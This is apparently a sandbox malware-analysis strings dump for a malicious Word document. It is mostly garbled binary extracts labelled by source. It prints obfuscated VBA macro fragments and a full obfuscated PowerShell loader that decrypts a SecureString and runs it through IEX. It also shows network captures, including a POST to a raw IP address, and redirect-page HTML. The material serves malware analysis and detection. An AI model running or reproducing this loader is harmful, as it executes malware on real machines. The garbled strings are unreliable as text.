mBhUIiKSmEQQwR`}zsuWkfYoKwalVYREiWzWkHlBARDidW.zWzXCcPXDvf)JHcIDEAoj]TIEvQfM{YnCfCYt7GGZTp
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mdizzCjwfn[cwHfvfVDQ'BGOCpbjmoWiZojAddpuKSsHSPMeSXpInCGwvNCJFUcjGwVZnQnwwJiJf$JGWzoWImaEiQm%
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
metaservicesmicrosoft
Ansi based on PCAP Processing (network.pcap)
Module=zAnsZRGs
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
MR9Bp;0GaGRlG[%"{?S=9f?5:T2mZh32](ThD^X9?-lfr,*
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
MsoCommandBarPopup
Unicode based on Runtime Data (WINWORD.EXE )
mspim_wnd32
Unicode based on Runtime Data (WINWORD.EXE )
n p r9$S t v? xX,$N'h | ~ Z. Ya; c ~2 X,$N'z f$j'~RUzwii1AgZAMDA1AwYAQGAlBANAUDAhBgNAQDAiBQZAUGAxAQZAgDAyAwYAMGAkBQYAUDAxAAOAUDAjBgYAcDA2AgNAEDAhBwNIbfqqTuiqiTZkUpjzSRYwXsZmnii' N J I 7<# X,$N' + tz\ v1 r /M X,$N' \$j'0JvtAaZiHkZAYGAzAQMAEGA5AANAIDAyAwYAYDA3AwMAcDAiz' D 3 8U= N X,$N' z `} [f dw Z> X,$N' &$j''EkoYKjnrXuloRGXiwIsiubTPEGAjBwMAUDA1AgR' >i $ 8 U3 @^ X,$N' p; # q : L
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NIsYSGaKZwzcMmzzDwtaiisDUv+ZUnzpHMc]kBEzvGbcVEjmNnikzJpQrkuPGwoHVisuKSDFnpXnLnpRvOIdfAvBD
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
nnwzJzqUUugjHBjhbyuf(dDBfWqswBYl, 12, 9,cPWv-\xME,@I.0x>"(8HXpBx.ff ,ff84ffX*ffp<f0f$f@f2(f`f0$Hfpf@XfxfH
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
NZz'(!H;e=5;=JQPuk;P0Nni>]? |o J(%&?]?nRZE>%@}wyk7VO#fSs@n
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
o>sFf8Mf^z]Qzr/AP,(oueLO<A%rZI\49>OK<L7[9KJ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
obaT)KU/:RA;i0CG9xu5'O_<fs+W
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
On Error Resume NextDim c@zoohc(#ReAzGowQ(2CzraAOzLJbH(0) 8565218kRcoCQVIBu(1a956(827BX^rDFr LooQ826KlCk@zBjzBq930R6$244@5692
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
On Error Resume NextDim LUUXijMzdNZw(/ReSQKwJUTac(2msXCzM(0) = 09176"CpFVHpKdG(1
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
On Error ResupNext
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
oPlnpt-6]f<5/E$DrC@E.lIdu),S(9*
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
OScwzOiluSJCMmkfuUzCdzLGdcLZwZitij?ZRRrlaUDwwwF'uVaSwCwRDrrmH
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
OwHiowkaBGwsw'jiaSXWjjAjLlzhLjdMdoSMMGBplAbiXtw{EruXNwTTkXShKnMBzSMHiZMUvRPMSpiYsjpjqz
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
oXwjbrvSMjbLP!(0(799!zDrCjDCuqnF0&717298yiujtSIZLYPVWvw1
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
P F X,$N' l P Lb D $ "X,$N' & (b *G ,Sy .- 0 29 4X,$N'$ 8 : <LU >Q @`= B D3 FX,$N'6 J LTd NPf P R~ T VQ; XX,$N'H \ ^' `
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
P(\_)KHP7!PCD(Fwa1[.MJn$r<
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Palace Script MT
Unicode based on Runtime Data (WINWORD.EXE )
PJ{KRcJ;y%xmxmT7)`sh+y\oIx&x5hX+isbLhwW(r&X7;vt4=&?/(A40J_~P4
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
pkMkiBLJYwSzjHnDrIuLUCWDdPiFKn
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
POST / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 91.217.66.130:443Content-Length: 388Connection: Keep-AliveCache-Control: no-cache"
Ansi based on PCAP Processing (network.pcap)
POST /dms/metadata.svc HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset="UTF-16LE"User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENTSOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"Content-Length: 1194Host: dmd.metaservices.microsoft.comu
Ansi based on PCAP Processing (network.pcap)
POST /dms/metadata.svc HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset="UTF-16LE"User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENTSOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"Content-Length: 1276Host: dmd.metaservices.microsoft.comt
Ansi based on PCAP Processing (network.pcap)
POST /dms/metadata.svc HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset="UTF-16LE"User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENTSOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"Content-Length: 1814Host: dmd.metaservices.microsoft.comu
Ansi based on PCAP Processing (network.pcap)
POST /dms/metadata.svc HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset="UTF-16LE"User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENTSOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"Content-Length: 2392Host: dmd.metaservices.microsoft.comr
Ansi based on PCAP Processing (network.pcap)
POST /fwlink/?LinkID=109572&clcid=0x409 HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset="UTF-16LE"User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENTSOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"Content-Length: 1194Host: go.microsoft.comu
Ansi based on PCAP Processing (network.pcap)
POST /fwlink/?LinkID=109572&clcid=0x409 HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset="UTF-16LE"User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENTSOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"Content-Length: 1276Host: go.microsoft.comt
Ansi based on PCAP Processing (network.pcap)
POST /fwlink/?LinkID=109572&clcid=0x409 HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset="UTF-16LE"User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENTSOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"Content-Length: 1814Host: go.microsoft.comu
Ansi based on PCAP Processing (network.pcap)
POST /fwlink/?LinkID=109572&clcid=0x409 HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset="UTF-16LE"User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENTSOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"Content-Length: 2392Host: go.microsoft.comr
Ansi based on PCAP Processing (network.pcap)
powershell "iEX(( [RuNTime.InteropsErviCEs.maRsHaL]::PTrTOsTRinGAUto( [rUNtImE.iNTERoPSERVIceS.marsHAL]::SecUReStriNGTOBSTR($('76492d1116743f0423413b16050a5345MgB8AGUAQgBpAFgAawBzAGMATgBrAEgAQgBiAE4AUAB2AFUATgBPAHkAMQBuAGcAPQA9AHwAZABhAGQAMgA1ADUAMwBjAGIAMwA0ADEANABlAGQAZQA4ADEAZAA3ADIAMAA3ADYAYgA5ADcAZQA5ADgAYgA4ADMAMgAwAGEANABiAGIAZQBiADgAOAA3AGQAMgAyAGUAOQA4AGEAZABlADcAYQBlADQAYQA5AGYAZABlADQAMwBhAGYAMgAyADcANgAxADAAYgA5ADcAYgA1ADIAOQBmAGQAZQA3ADIAZABiADAAYwA5ADkAOABiAGQAMQBlADEAMgBmADkANABjADkAMgAxADAAOAA1ADkAMwBjADcAZgBlAGIAZAA4AGMAZgA2AGQAZQBiAGMANwBmADYANQA0ADIANgBmAGIANwA2ADYAZAAyADkAMQAwADUAZQA0ADMAMgA1AGIAOQBiAGEAYgA4ADgANgA3ADQAMAAzADYAYgA3AGEANwA3ADUANQA5AGUANwAxAGIAMQAyAGMAMAA0AGMAZgA4AGMANAA0AGMAYQA5ADYAYwA5AGYANQAzADMAMAA3ADQAMAA5AGMAMgA1ADUAMQAxAGEAYgA0ADIAZQBjADQAZAAzAGUAOQAxAGUANABmADYAMgA2AGIANgBmADAAMQAwADMANgA3ADkAMAAzADMAZQA5ADgANgA1AGUAMABkADQANQA3AGQANAAzADMANABmAGQAOQA1AGQAOABiADgANQBiADAAZABiAGIAMQA5ADcAOAA4ADAAZQA4AGYAMAA4ADcAMgA2ADQAOQBiAGMAYQAwADQAZQAxADkAYwBiAGYANgA4ADEANQBiADMAMgAxADkAZQBiADQAZAAxADUAOQA5AGIANgA1AGYAMwBhAGIAZgA3ADgANQBiAGEAMQAzADMAYwA0ADkANwA1ADIAOAAzADkAZQBiADAAMwAwAGQAMQA4ADEAOABlADUANgAxADAAMgA2ADAAMgAwADcANQAwADYAZgBiAGQAMQBjADcANABiAGMAOAA4ADIANwAyAGUAZAA4AGUAMwA0AGQANAAxADEAMAA2ADcAMQA3ADAAMQBkADIANAAyADEANgAzAGIAMwA1ADMAZAA4ADMANABmAGQAMQBiAGIANwBmAGQAMgAzADUAMgA4AGEANwA1ADIAZgA2ADYAYwA3ADAAOAA4AGUANwA0ADcANwBjADUAMgBlAGUAZQBhADkANwA3ADcAZQBjAGUAMAA1ADYAMQBkAGYAMABmAGMAYwBhADYAMwA2ADkAOQBlADQANQBmAGMAZAAwADMAOABjAGEAMgAzADcANQAyADQAYQA3AGIAYQA4AGUAYgA5AGIANgBlADgAZABiAGYANwA2ADYANQAyAGYANQBmAGEAZgBmAGUAMwA4ADkAYwA4ADEAZQA0AGIAMQBjADgAOAA3ADYANgBiADEANABhADYAOAA4AGUAOABjADYAOAAzAGEANwA2ADAAMQBjADEAOABjADkAOQAyAGUAYwA0ADMAOQA4ADAAMAAwAGYAOABmADYAMQA4ADgAMAA5AGMAMgAxADMANgBmADAANwBmAGUANQAzAGEAYgA3ADEAYQBlAGYAZgA0ADEAMAAwADMANgA0ADMAOQAzADMAYQA0ADkANwBmADAAMABlAGUAMQBmADAANgAyADgANAA0ADUAOQBiADQAYQA1ADkANABiAGUAZAA1AGYAOQA3ADEANAA1AGYAYQBkADYAMABkAGIAMwBhAGEAMgA3AGMAZAA1ADUAOQA3ADAAMwAwAGIAOQA3ADkAMAAxADkAZAAxADgANwBlADAAOQBlADkAOQBmADMAZAA0ADUAOQA3ADQAMAA3AGMAYwA4ADIANgA5ADAAMgBmADgAYQAxAGEANgA2AGYAMwAzADAAZQAyAGYAMQBiADIANQA2ADIANQBmAGEAZABiADQAMAA5AGUAOQA1AGEAYgBhADAAOAAyADYANgAyAGEAZQBkAGUAZgBhADYAYQBkADAAMQAyADIANgAzAGEAZABiAGUANgAyADkAYgA3ADIAZAAzAGYAMwAyADAAMwBjAGMAYQBmAGYAMgBmAGUAMQBmAGUAMAA2AGMAZABlAGUAZgBkAGQANgAxAGIAMwAyADYANQA0ADgAOAA3ADEANgAwAGIANABhAGMANABkADEAZgBlAGIANABiAGYAMABkADAAOQBhADcAMABlAGQAYgAyAGQAMAAwAGIAOQAxADcAMgBlAGIANQAxADcAOAAyADQANQA4ADMAYgA5AGIAZAA4ADAAMgBiADgAYwBhAGYAMgAxADYAMQA4ADkAYwA5ADEANwBhADEANgA2ADcAYgBjADUAOAAxADUAYQBkAGMAYwAyADgAZQAxAGUAZQBiADQANgBhADUANABlAGQAYwA1ADMAZgA1ADcANAA1ADEAMQA1AGUAZgAyAGQAYgAzADUANgBmADUAYgAxADYANwAxADcANQA2AGIAMgA5AGYAMwA5ADQAMABmADkANgA1ADgAZQA4ADcAMgBkADMAYgAzAGUAOABiADUAOQBiADMAYgAzADMAYgBjADMAYgBjADMAYQAzAGQAOQA4ADUAOAA4ADgAMAAzADYAYwAyADUANgA3ADcAYQA3AGEANgAzAGUAMQBhADAAZABhAGMAZQBjAGYANQA5ADUAYwA0AGQAYQAyADEAZABiAGMAMQBiADcAMwA3ADYAYwAyADIANAA5AGEAMQAzAGYAZgAzADYANAA2AGIAMgBjAGYAZQBlADkAMQA3ADcAYwBmADgAZQA1ADIAYgA3ADQAZAA2ADgANQA4ADAAMwAxADMAYwBjADAAOQAxADAAOQAwAGMANwAxADkAOQA2ADkAMgBlAGMAZgA3AGMAMgBmADcANwA3ADYAOQAxADAAMAAzADkAMwAzADkAZgA1AGUAYgBkADUAOQA1ADAAYgA1ADQAOAA2AGQAMABhADMANAA3ADMANQA0ADAANwA0ADIANwAxADkAMgA1AGUANABhAGMAYgAyADQAYgA1AGIAYQAzADcAZgA1ADIAOABkAGIAYgA0ADEAOAA3AGUAZgBmAGYAYgAyADQAYwA0ADUAZQBjADgAYwA0ADUAOABjADcAYwBkADMAZgA5ADcAZgBlADcANAAyADIAZgA4AGQANQA4AGUAOQBhADIAOAA0ADgANgA0ADIAMQA2AGQAYwAwAGIAMwA0AGQAZgBlAGUAYwBlAGUAYQAyAGQAZQA2ADUAZgA1ADcANAAyAGUANwAwADYANgA5ADYANwBkAGMAZAAzAGYANQBjADUAMABhADMAMQBkADYAMwAyADMAYwBiADAAMQBiAGYAYgA3ADMAYQA2AGMANAA1AGEAMQAyADgANQA5AGUAMQA4ADYAOABlADkAYwA1ADMAMwA2ADIAMQA1ADIAYwAxAGYAZQA2ADYAZABlAGEAMAA1AGEAYgAzAGUAZAA3AGYAYgBkAGIANAAwAGYAZABmAGMAZAAzADgAYgAxADEAMgA4AGIAYwA1ADMAMgA5AGQANQAyAGUAMQA2ADAAMwA3AGQAMgBmAGYAOABiAGIAYQA2ADcAMwAzADAAZAAxADEAZgAxADgAOQBhAGIAZgBlADkAYwAwADIAMQA2ADcAMgA5ADkANQBhADcAYgA4ADUAZABhADkAMAA4ADkAOQA0ADUAOQBmADcAMgA3ADMAYwAzADIANQBiADMAZABlAGQANAA5ADgAMABmAGYAZQBiAGYANwAzAGUAZABhAGMAMgA1AGEAYgA1ADMAOAA1ADUAYwAyAGIAMwA3ADIANwA5ADEANAA1ADIAOAAyAGYAOAA5ADgAMQBhADEAYgAzADMANQBmADAAOQAwADMAZgAxAGIAZAA2ADQAYQA4ADIANQBkADMAZgBlADgAZgBlADQANAA4ADMAZQAyADQAMQA1ADIAYQBiAGMANgA4ADQAYwBhADkAZABmADEAOAAxADEAYwAzADQAMgA4ADcAOAAwADAAOAA1ADQAMAA2ADEAYQBjAGUAYwBjADMAZgA2ADkANQA2ADIAYQBlADIAZAAwADMANQA0ADYAYwA3ADIAMwA1AGYANABhADYAOQBmADIAYQBhADUAMgBiADgAZABmADgAYQA2ADQAMwAxAGQAMAA3ADYAMgAxADEAYgBiADUAYQA1AGYAOAAzADQANwAwADUAZgBiAGYANQBhADEAMABlADIAYwBmADEAMwA2ADAANQAxADAAMQBmAGQAZAAxADYANwBiADIAMQBlADIAYQAyAGIAYQBiAGIAMAA2ADIAYgA1ADIANwBmAGUAYgA4ADkANgA4ADEAYgBkAGQANAAxADMAMABhAGMAOABiAGYAMwAxAGMAZQBiADkAMgBhADEAOQBhADAAZQBmAGMAOQA2AGEAZgAwAGYANQBkAGMAYQA0AGYANgAwAGMAYgA0AGMAMwBlAGIANwBmADQAMAA2ADAANgBlADYAOQBjADUAYQA2ADgAMgA5ADUAYwBmADAAYwA5ADIAYwA0ADcAYwA4ADYAOQBlADEAMgAxAGEAZAAxAGQANwA4AGQAYgAwAGIAMwBkADQAYgA3ADUAZAAwADcAYQA3ADAAYQAyADYAOAA5AGMAYgBiAGYAMwA2AGUAYwAzADIAZQA2ADIAMgA3AGQAYwAyAGEAOQAyADcANwAyADUAYQA5ADkAYwBkADgANgBlADEANAA3ADUAYQA4ADgAYQA4AGUAMgBiAGMAOABkAGUAZQAzADUAMgAzADEANwA1ADAAOABmADcAMQAwAGUAZgA3AGMAMgA2AGYAYgA5AGQAOAA2ADkAMQBjAGMAZAAyADIAMgBiADcAMAAzADMANQA4ADgAOABkAGMAOAAxADQAZABhADQANQA3ADAAZgBhADkANwAzAGUAMQA3AGEANAAzADgAOQA0ADUAMgAwAGUAOQBhADAANwA1AGYAMAAzADcAMABjAGUAMgBjADcAMQBmADUAMwBhADIAZgAwAGYAOABiAGIAMABlAGIAYgBjADMAOQBlADQANwA3AGEAZgA2AGQAMQA3AGUAZQBmADQAYQA1AGMAMQBkADcAYgA4ADEANwAwADIANgAyAGMANwA0AGEAYgAyADIAYgBkADYAZQBlADAAYQA2ADEAZgA5AGMANQA3AGMAMgBlADQANAA2ADkAOAAxADgANgBlADAAMgAwADgAOQA0ADEAOQBhADYAMQA2AA==' |ConVerTTO-secuREStrING -KEy (146..169)) ))))
Ansi based on Process Commandline (powershell.exe)
pp+slv*hw<.>K?"(W:-om><=oGZ#F^5^)iYOK+e-cTl)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
pzVSU/P+u1i=0*5.|JWP@DWPJ)@I-C'Sr1Zdfo2.QQStpHgb3,F0\X.UIX]%;
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Q"!Js%WqE0)h!c5sgS;mot6]F6bd@Qg|>J3D>VMC(Si3M
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Q(Y.dZ)KE&DVdLO4$YcZyygD>AKx{*fIjfF6D*&iHB;1{*@ZI`=<HIe
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Q/()I6BU:qug
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
QHEbv0j$Wt]8;yzQ11m/>rru)=G8:2[vJ9Nd[9(yr(+-H(`JM{I
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
QnNVzEAr!1zNQV1(713345!!*uJXD52784RYqLMnz64@1aTErhMBPday4500149 UtcTDS
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
qqsozXJJBL9(j# pRN$+G$xME@IxjXiVI8GMwcItUMjIX,nP\c^xMEH&'8'B2fHf60fhf8:Pff`,xffx2ff0(ff@:ffh0ff2f8ff
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
qx9Kq,H3^lp3C(DeXSh(iJJNM{\gC$;I({wo&mK~=I5spRi,:^!zR/FP/#RR5T?|g 0{wo0{gqdv
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RhVOwkvbEqdzlRupHvSmQjAWqZ]EYRwpJhmJTGHiINqwQIkf
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RSsU&&EQfd|?JPEG4m")-MFTkf!~:Z1d&sMCLSXk.+PjjPjVDI9vQu
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RV5j-CT<7or/5INr\%eU6e$&2e1BcK-Cr::bSj3(hBis`zV5cDrDD4`zdV&M0%b5-*>lu|#h0N
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
R~Qd+}(-'QjJqzB&-gBI$FB|9gKO)3?dthN<OQH(8%A(#GFR=xnQMG^Q4.`IJFD?xf:%p{bJ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
s%dzVt_xD<?*MaZPGO*A.Z@z^zy\i!@c&&`kp&u@Fl1@xy@I?d%#J0Lg0%fOx
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
s666666666vvvvvvvvv666666>6666666666666666666666666666666666666666666666666hH66666666666666666666666666666666666666666666666666666666666666666p62&6FVfv2(&6FVfv&6FVfv&6FVfv&6FVfv&6FVfv&6FVfv8XV~ 0@ 0@ 0@ 0@ 0@ 0@ 0@ 0@ 0@ 0@ 0@ 0@ 0@ 0@ OJPJQJ_HmHnHsHtHJ`JNormaldCJ_HaJmHsHtHDA D
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
saM~1VF^95.s@)h,9lG;yl <|@WhkPkJPe{4V\([)*K$pSF1};
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Script MT Bold
Unicode based on Runtime Data (WINWORD.EXE )
SdLo \hd-IxXtx0RJ5Y|<%I$Th1eO6<)0B%7PC$B+-ae(V0"y<e^}Cb;W)P*mc&LS
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Segoe Script
Unicode based on Runtime Data (WINWORD.EXE )
setTimeout(startCountdown(), 0); setTimeout(browserIntegrityCheck(), 0); setTimeout(redirect(), 0); }, false); })(); // </script> </head> <body> <table width="100%" height="100%" cellpadding="20"> <tr> <td align="center" valign="middle"> <div> <noscript> <h1 style="color:#990000;">Please, turn Javascript on in your browser then reload the page.</h1> </noscript> <div id="content" style="display:none"> <div class="sk-circle"> <div class="sk-circle1 sk-child"></div> <div class="sk-circle2 sk-child"></div> <div class="sk-circle3 sk-child"></div> <div class="sk-circle4 sk-child"></div> <div class="sk-circle5 sk-child"></div> <div class="sk-circle6 sk-child"></div> <div class="sk-circle7 sk-child"></div> <div class="sk-circle8 sk-child"></div> <div class="sk-circle9 sk-child"></div> <div class="sk-circle10 sk-child"></div>
Ansi based on PCAP Processing (network.pcap)
SHGetDesktopFolder
Ansi based on PCAP Processing (network.pcap)
SHGetDiskFreeSpaceExA
Ansi based on PCAP Processing (network.pcap)
sHml KJrEv@^zZKhNsKBT`DwXCjk@(8006843`jNdCOMqVbsRp
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SHzYRwHVziGLuPjjz[WPic@OibzSBd@QIcNshChrW(34)FnFXCqrORXHCjIBTlSFkaI@KJZTfPEOGbItCsBVhJwfulZSjwhPELUPRwpHZ+ kJQbk
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SJI,7-r+<5JK0%wrVk;USi9qcV{ljV1Sn4c*);@}?QFJX[NInr\SJ)}\I{p
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
sKWNnZAIDA1AwNAEGA4AgMAUDAzAgMAQGAmBwNAIGAiBQMAQGAmBANAMDA4AAZAMDA1AwMAIGAzAgNAEDAyAANAIDAkBQMAADA3AQMAcDA2AAMAEDAxAANAQGAkQUlqz' : 2 S X,$N' ?; tz,xME,@I.0x<d8If02hZptivlPIn4p~>Z0/"(8HXpBx:ff0Dff`ff `ffhdfxffff0
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Sl@ZXjUXS1ItizqXhDEAcVivcnhAM EszMA(8 60308dlXFb200qYmFCoDokz PCrBW@(176p5qjHTZqhiBzQ6P07@
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ssq pWspzjifEEX(380PjXriYlsFOmciE*a02#6@~* NaFzQiIJlqcREtas1p:`oMTkCJUFwQd\(69QCJTf0riSE1
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
stdole`Project-ThisDocument<_EvaluateNormalOfficeuDocumentjModule1bzAnsZRGsy
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
StringFileInfo
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
t * R'< 0 2,z 4P 60c> 8< : < >X,$N'. B D FanI HYf J( L N PX,$N'@ T V)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
t$j'$LGwXfFgMAUDAzAQZAUGAkBAOAMGAiBgMAUGA4AQYAgDA4AQYAUDA3AANAEDAlBgNAgDAkBwYAkDA5AQYAUDAyAwNAcDAyAQOAEGAyAwYAQGA3AgMAIDA2AQZAIDAzAwYAUGA2AwMAYGAiBgYAMGA5AAOAYDAyAQYAADA3AQYAcDAwAAZAUDA3AgYAQDAkBwMAIGGlmMuYRpjiYj'& * ,JW .*K= 0B 2Ky 4 6:ny 8X,$N'( < >{ @ BX D\> F H|L JX,$N': &
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
t-p-e.net
Ansi based on PCAP Processing (PCAP)
top: 0;} .sk-circle .sk-child:before {content: '';display: block;margin: 0 auto;width: 15%;height: 15%;background-color: #666666;border-radius: 100%;-webkit-animation: sk-circleBounceDelay 1.2s infinite ease-in-out both;animation: sk-circleBounceDelay 1.2s infinite ease-in-out both;} .sk-circle .sk-circle2 {-webkit-transform: rotate(30deg);-ms-transform: rotate(30deg);transform: rotate(30deg); } .sk-circle .sk-circle3 {-webkit-transform: rotate(60deg);-ms-transform: rotate(60deg);transform: rotate(60deg); } .sk-circle .sk-circle4 {-webkit-transform: rotate(90deg);-ms-transform: rotate(90deg);transform: rotate(90deg); } .sk-circle .sk-circle5 {-webkit-transform: rotate(120deg);-ms-transform: rotate(120deg);transform: rotate(120deg); } .sk-circle .sk-circle6 {-webkit-transform: rotate(150deg);-ms-transform: rotate(150deg);transform: rotate(150deg); } .sk-circle .sk-circle7 {-webkit-transform: rotate(180deg);-ms-transform: rotate(180deg);transform: rotate(180deg); } .sk-circle .sk-circle8 {-webkit-transform: rotate(210deg);-ms-transform: rotate(210deg);transform: rotate(210deg); } .sk-circle .sk-circle9 {-webkit-transform: rotate(240deg);-ms-transform: rotate(240deg);transform: rotate(240deg); } .sk-circle .sk-circle10 {-webkit-transform: rotate(270deg);-ms-transform: rotate(270deg);transform: rotate(270deg); }
Ansi based on PCAP Processing (network.pcap)
TZuQ(k]s]T>zj9'\k*T
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
U]b65y2izO{]rK[']u4jjKF\$4--`R&}`A<"xNW
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
UXQBVLlQsJnLrwivsf,BILwEAHMfJzNlGIznAjFiEUoQotfZKNTOF@LcVkiJZZeuOHTIsCtkUlwYfiPkWwfKMS!HDwPksqrtTLppdhUkYImdjELvCqUhcYTTOiSL
